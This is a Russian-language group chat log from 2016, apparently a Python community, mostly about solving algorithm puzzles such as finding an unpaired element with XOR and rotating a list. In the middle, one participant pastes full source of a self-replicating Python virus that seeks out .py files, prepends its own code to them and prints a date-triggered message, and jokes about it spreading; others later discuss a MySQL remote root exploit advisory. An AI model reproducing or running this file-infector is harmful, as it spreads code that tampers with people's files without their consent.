
Rinat
16.09.2016
11:37:44
ок спс

H
16.09.2016
11:39:00
можно в лоб
In [17]: for k, v in Counter(A).items():
...: if v == 1:
...: print(k)
...:
7

Rinat
16.09.2016
11:39:51
да точно есть же коунтер

Artem
16.09.2016
11:40:50
Ну это то же самое, что дикт

Google

Dumitru
16.09.2016
11:40:51

Artem
16.09.2016
11:41:11
А тебе нужно без дополнительной памяти

Rinat
16.09.2016
11:41:16
с коунтером мне кажется попадет под ограничение по времени

Rocket
16.09.2016
11:41:28

H
16.09.2016
11:41:39

Rinat
16.09.2016
11:41:47
там до 0,7 сек в какой-то тестовой последовательности
и наверное время уйдет за 1 сек

H
16.09.2016
11:42:02
не было никаких критериев по времени
с этого надо было начинать

Rocket
16.09.2016
11:42:12
если брать по 14 бит, то на каждые 7 байт получается 12 байт результата
и того эффективность 0,5833333333333333

Dumitru
16.09.2016
11:42:23

Rinat
16.09.2016
11:42:52
я знаю только одну последовательность, остальные не знаю, знаю условие

Google

Dumitru
16.09.2016
11:42:53

Artem
16.09.2016
11:43:01

Rinat
16.09.2016
11:43:10
по времени вообще не писали
а потом уже когда на проверку послал, тут и бац время появилось

Sergey
16.09.2016
11:43:35
xor вроде здесь нужен

Artem
16.09.2016
11:43:57
Ну мог бы человек и сам прочитать)

H
16.09.2016
11:44:03
это будет быстро работать, быстрее чем вариант автора

Rocket
16.09.2016
11:44:46
но это все равно лучше, чем мои 0.33 )))

Rinat
16.09.2016
11:49:56
оо спс разобрался
ща еще будут задачки )) кому интереснос

Art
16.09.2016
11:51:07
Собеседование проходишь?

Rinat
16.09.2016
11:51:22
нет просто решаю задачки

Artem
16.09.2016
11:56:58
разобрался в итоге с каким вариантом?)

H
16.09.2016
12:00:31
http://bigocheatsheet.com

Rinat
16.09.2016
12:01:00
это O(N**2)
в итоге вот 100% хорошее решение
def solution(A):
result = A[0]
for x in A[1:]:
result ^= x
return result

H
16.09.2016
12:02:04

Rinat
16.09.2016
12:02:48
ну возможно и нет, но первый раз задетектило время O(N**2)
итоговое решение говорит что O(N)

H
16.09.2016
12:04:38
но если подумать, то скорее да, чем нет :)

Google

Artem
16.09.2016
12:07:08
с ксором правильно, да

Sergey
16.09.2016
12:10:39
reduce(lambda x, y: x ^ y, A)
или
reduce(operator.xor, A)
или
reduce(xor, A)

Kolyann
16.09.2016
12:10:59

Dumitru
16.09.2016
12:12:48

Rinat
16.09.2016
12:13:35
во редюс надо было использовать

Roman
16.09.2016
12:14:04

O'Miay
16.09.2016
12:14:33
кто-нить писал вирус наподобие стакснет на пайтоне?

Paul
16.09.2016
12:15:08

Rinat
16.09.2016
12:15:29
вот вопрос
A = [3, 8, 9, 7, 6]
K = 3
3 кол-во сдвигов вправо
на выходе должно получиться
[9, 7, 6, 3, 8]
хотя тут проще

H
16.09.2016
12:16:37
а какой смысл пытаться решать задачки и всех спрашивать ответ сразу же?

Kolyann
16.09.2016
12:16:50

Rinat
16.09.2016
12:16:54
да хз просто в лоб я всегда могу сделать

Артём
16.09.2016
12:17:03
.

Rinat
16.09.2016
12:17:06
а так мне подсказки дают

Fox.rs
16.09.2016
12:17:19
Точно не помню

Cykooz
16.09.2016
12:17:33
вот вопрос
A = [3, 8, 9, 7, 6]
K = 3
3 кол-во сдвигов вправо
на выходе должно получиться
[9, 7, 6, 3, 8]
Эм, если K может быть любое, то как то так:
for _ in range(K):
A.insert(0, A.pop())

Fox.rs
16.09.2016
12:17:38
Раньше что то подобное решал
В вики про циклические сдвиги глянь

Google

Fox.rs
16.09.2016
12:17:59
И все поймешь

Rinat
16.09.2016
12:18:02
ок спс

Artem
16.09.2016
12:18:19
надо понимать, что list это не linked list список


O'Miay
16.09.2016
12:18:34
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3? == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()


Artem
16.09.2016
12:18:43
и поэтому циклами по одному элементу не надо с ним работать

Артём
16.09.2016
12:19:19
Вк лежит.

Paul
16.09.2016
12:19:32

Артём
16.09.2016
12:19:44
+

O'Miay
16.09.2016
12:19:47

Artem
16.09.2016
12:19:53
не лежит

Admin
ERROR: S client not available

Artem
16.09.2016
12:19:56
но тупит

O'Miay
16.09.2016
12:20:27
Скоро и телеграм ляжет, дайте время расплодиться

Paul
16.09.2016
12:20:55

Артём
16.09.2016
12:20:56

O'Miay
16.09.2016
12:21:23
All world

Artem
16.09.2016
12:22:04


O'Miay
16.09.2016
12:22:39
а можешь поправить?

Artem
16.09.2016
12:23:11
нет

O'Miay
16.09.2016
12:23:33
Тогда не умничай (это не мой код)

Google

Artem
16.09.2016
12:27:35
3-4 где-то

Roman
16.09.2016
12:27:38
d = deque(A)
d.rotate(3)

Rinat
16.09.2016
12:32:43
что за deque ?

Artem
16.09.2016
12:33:06
double ended queue

Rinat
16.09.2016
12:33:39
а нашел в модуле collections
?

O'Miay
16.09.2016
12:58:03
MySQL Remote Root Code Execution / Privilege Escalation ( 0day )

here1am
16.09.2016
13:06:16
херня, для пользователей с повышенными привелегиями
FILE почти никому не дают, в основном, для реплики. а реплику делают сами админы в основном

CthUlhUzzz
16.09.2016
14:00:09
http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
херь
Необходимы тепличные условия
которых не будет в реальной жизни
аа, как на цисках недавно было.. ясн, спасибо
просто файл прив не даст перезписать существующий файл
даже если есть права
короч будет рце, если ты уже в локалке
и от рута :D
еще условия нужны